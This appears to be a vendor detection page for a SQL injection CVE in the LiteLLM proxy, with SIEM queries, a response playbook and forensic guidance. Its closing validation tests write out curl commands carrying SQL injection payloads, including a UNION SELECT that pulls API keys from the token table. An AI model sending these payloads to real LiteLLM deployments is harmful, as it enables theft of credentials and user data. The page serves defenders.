BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208)
Detects exploitation attempts targeting a SQL injection vulnerability in BerriAI LiteLLM (CVE-2026-42208, CWE-89). LiteLLM is a widely deployed LLM proxy/gateway; successful exploitation allows unauthenticated or authenticated attackers to manipulate backend database queries, potentially exfiltrating API keys, user data, model configurations, and spend tracking records. This CVE is listed on the CISA KEV catalog, indicating active exploitation in the wild.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- BerriAI
- Product
- LiteLLM
Weakness (CWE)
Timeline
- Disclosed
- May 8, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
What is CVE-2026-42208 BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208)?
BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208) (CVE-2026-42208) maps to the Initial Access and Credential Access and Discovery and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208), covering the data sources and telemetry it touches: DeviceNetworkEvents, CommonSecurityLog, AzureDiagnostics, AzureWebApplicationFirewall. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
union DeviceNetworkEvents, CommonSecurityLog, AzureDiagnostics
| where TimeGenerated >= ago(24h)
| where (
(RequestURL contains "' OR '" or RequestURL contains "' OR 1=1" or RequestURL contains "UNION SELECT" or RequestURL contains "-- " or RequestURL contains "';" or RequestURL contains "%27" or RequestURL contains "0x27")
or (RequestBody contains "' OR '" or RequestBody contains "UNION SELECT" or RequestBody contains "--" or RequestBody contains "1=1" or RequestBody contains "';--")
)
| where RequestURL has_any ("/key/", "/user/", "/spend/", "/model/", "/team/", "/health", "/chat/completions")
| extend SuspiciousPayload = coalesce(RequestURL, RequestBody)
| extend ClientIP = coalesce(SourceIP, CallerIpAddress, RemoteIP)
| summarize AttemptCount = count(), DistinctPaths = dcount(RequestURL), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by ClientIP, UserAgent, SuspiciousPayload
| where AttemptCount >= 1
| extend RiskScore = case(AttemptCount > 10, "High", AttemptCount > 3, "Medium", "Low")
| project FirstSeen, LastSeen, ClientIP, UserAgent, AttemptCount, DistinctPaths, SuspiciousPayload, RiskScore
| sort by AttemptCount desc Detects SQL injection patterns in HTTP requests targeting LiteLLM API endpoints via network event logs and WAF/proxy logs. Looks for classic SQLi payloads in URLs and request bodies directed at LiteLLM-specific route prefixes.
Data Sources
Required Tables
False Positives
- Security scanners and penetration testing tools probing LiteLLM endpoints
- Legitimate API consumers whose payloads contain characters that resemble SQL syntax (e.g., natural language prompts with apostrophes)
- Web Application Firewall test rules generating synthetic SQLi traffic
- Automated fuzz testing frameworks running in CI/CD pipelines
Sigma rule & cross-platform mapping
The detection logic for BerriAI LiteLLM SQL Injection Exploitation (CVE-2026-42208) (CVE-2026-42208) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-42208
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Error-Based SQL Injection on LiteLLM /key/info Endpoint
Expected signal: HTTP 500 or 422 response from LiteLLM; database error message in application logs; WAF alert if deployed
- Test 2UNION SELECT Injection Attempt on /user/info Endpoint
Expected signal: HTTP 500 or data leak in response body; PostgreSQL logs show UNION SELECT statement; network proxy logs capture full URL with UNION payload
- Test 3Time-Based Blind SQL Injection via LiteLLM /spend/logs
Expected signal: Response time >= 5 seconds; PostgreSQL slow query log entry for pg_sleep; application logs show extended request duration
- Test 4POST Body SQL Injection to LiteLLM /key/generate
Expected signal: HTTP 400/500 with SQL error in response; application log shows malformed query; SIEM alert on POST body containing OR 1=1
Response Playbook
Triage
- Confirm the targeted host is running BerriAI LiteLLM by checking process listings, container names, or service manifests. Verify the LiteLLM version if accessible via /health or /version endpoint.
- Review web/proxy/WAF logs for the source IP(s) involved: assess volume, timing, and breadth of paths targeted. Determine whether multiple LiteLLM API endpoints were probed or a single endpoint was repeatedly hit.
- Check whether the SQLi payload reached the application layer: look for corresponding database query logs (PostgreSQL/MySQL) for anomalous SELECT, UNION, or error messages indicating successful injection.
- Assess authentication state of requests: determine if the requests were unauthenticated or used a valid API key. If an API key was used, identify the key owner and check for lateral movement.
Containment
- Immediately block the offending source IP(s) at the WAF, network perimeter, or cloud security group level. If LiteLLM is internet-facing, consider temporarily restricting access to known CIDR ranges while investigation proceeds.
- If exploitation is confirmed, rotate all LiteLLM master keys and user API keys stored in the backend database. Revoke and reissue credentials for any downstream LLM providers (OpenAI, Anthropic, Azure) whose keys are managed via LiteLLM.
- Place LiteLLM in maintenance mode or behind an authenticated reverse proxy if patching cannot occur immediately, to prevent continued exploitation.
Evidence Collection
- Export full web server, reverse proxy, and WAF access logs for the 48 hours prior to detection. Preserve originals in tamper-evident storage before any log rotation occurs.
- Capture a memory dump and filesystem snapshot of the LiteLLM container or host, including the database files or connection string configuration, to support forensic analysis of what data may have been accessed or exfiltrated.
- Collect database audit logs (if enabled) to enumerate all queries executed during the attack window, paying particular attention to SELECT queries on API key tables, user tables, and spend/billing tables.
Escalation Criteria
- ! Escalate immediately if database audit logs show successful UNION-based data extraction or if LLM provider API keys (OpenAI, Anthropic, Azure OpenAI) stored in LiteLLM are confirmed to have been exfiltrated — this constitutes a supply-chain compromise risk.
- ! Escalate to CISO and legal if PII, billing data, or organizational spend records were exposed, as this may trigger breach notification obligations under GDPR, CCPA, or similar regulations.
Investigation Guide
Forensic Artifacts
- >
LiteLLM application logs at default path /app/litellm.log or Docker container stdout — search for SQL error messages or unusual query latency - >
PostgreSQL/MySQL query logs showing UNION SELECT, error-based, or time-based blind SQLi patterns - >
Network flow records showing unexpected outbound connections from the LiteLLM host following the initial SQLi requests (potential data exfiltration channel) - >
LiteLLM database tables: litellm_verificationtoken, litellm_usertable, litellm_teamtable — check for recently added rows or anomalous last_used timestamps indicating key theft and reuse
Tuning Guidance
Begin with medium confidence due to the high rate of false positives from apostrophes in natural language prompts routed through LiteLLM. Tune by (1) adding a whitelist of known-good internal scanner IPs, (2) requiring multiple SQLi payload patterns in a single request rather than a single match, (3) correlating with backend database error events to elevate confidence to high only when application-layer errors co-occur with HTTP-layer matches, and (4) excluding requests where the Content-Type is application/json and the body is a valid JSON structure with no raw SQL concatenation, as legitimate LLM completions payloads are JSON-encoded.
Hunting Queries
Hunt for database-level error messages and time-based blind SQLi indicators in LiteLLM application logs, which may indicate successful or partially-successful injection attempts that bypassed WAF-layer detection.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DestinationPort in (4000, 8000, 8080, 443) // common LiteLLM ports
| where Message has_any ("syntax error", "pg_sleep", "UNION", "information_schema", "pg_catalog")
| summarize count() by SourceIP, DestinationIP, TimeGenerated
| sort by TimeGenerated desc index=app sourcetype=litellm OR sourcetype=gunicorn OR sourcetype=uvicorn
| search "syntax error" OR "UNION" OR "pg_sleep" OR "information_schema" OR "unterminated quoted"
| stats count by src_ip, _time, message
| sort -count Atomic Red Team Tests
Sends a crafted GET request with a classic error-based SQL injection payload to the LiteLLM /key/info endpoint to trigger a database error response, confirming injection point exists.
Command
curl -s -o /dev/null -w "%{http_code}" "http://localhost:4000/key/info?key=' OR 1=1--" -H 'Authorization: Bearer sk-test' Cleanup
No cleanup required; this is a read-only probe. Expected Telemetry
HTTP 500 or 422 response from LiteLLM; database error message in application logs; WAF alert if deployed
Expected Detection
Query matches on `' OR 1=1--` pattern in RequestURL targeting /key/ prefix
Attempts a UNION-based SQL injection to extract the first row from the litellm_usertable, simulating credential theft.
Command
curl -s "http://localhost:4000/user/info?user_id=1' UNION SELECT user_id,api_key,NULL,NULL FROM litellm_verificationtoken--" -H 'Content-Type: application/json' Cleanup
No cleanup required; this is a read-only probe against the lab instance. Expected Telemetry
HTTP 500 or data leak in response body; PostgreSQL logs show UNION SELECT statement; network proxy logs capture full URL with UNION payload
Expected Detection
Query matches UNION SELECT pattern in RequestURL targeting /user/ endpoint
Uses pg_sleep() to perform time-based blind SQL injection, confirming database type and exploitability without triggering visible errors.
Command
curl -s -o /dev/null -w "%{time_total}" "http://localhost:4000/spend/logs?api_key=' OR pg_sleep(5)--" -H 'Authorization: Bearer sk-test' Cleanup
No cleanup required. Expected Telemetry
Response time >= 5 seconds; PostgreSQL slow query log entry for pg_sleep; application logs show extended request duration
Expected Detection
Pattern match on pg_sleep in URL query string; anomaly detection on response latency if baseline established
Injects SQL payload into a JSON POST body targeting the key generation endpoint, testing whether request body deserialization is vulnerable.
Command
curl -s -X POST http://localhost:4000/key/generate -H 'Content-Type: application/json' -H 'Authorization: Bearer sk-master' -d '{"team_id": "test\' OR 1=1--", "duration": "1h"}' Cleanup
Delete any test keys generated: curl -X DELETE http://localhost:4000/key/delete -H 'Authorization: Bearer sk-master' -d '{"keys":["<generated_key>"]}' Expected Telemetry
HTTP 400/500 with SQL error in response; application log shows malformed query; SIEM alert on POST body containing OR 1=1
Expected Detection
SIEM detects SQLi pattern in request body for /key/generate endpoint; DLP alert if response body contains database schema information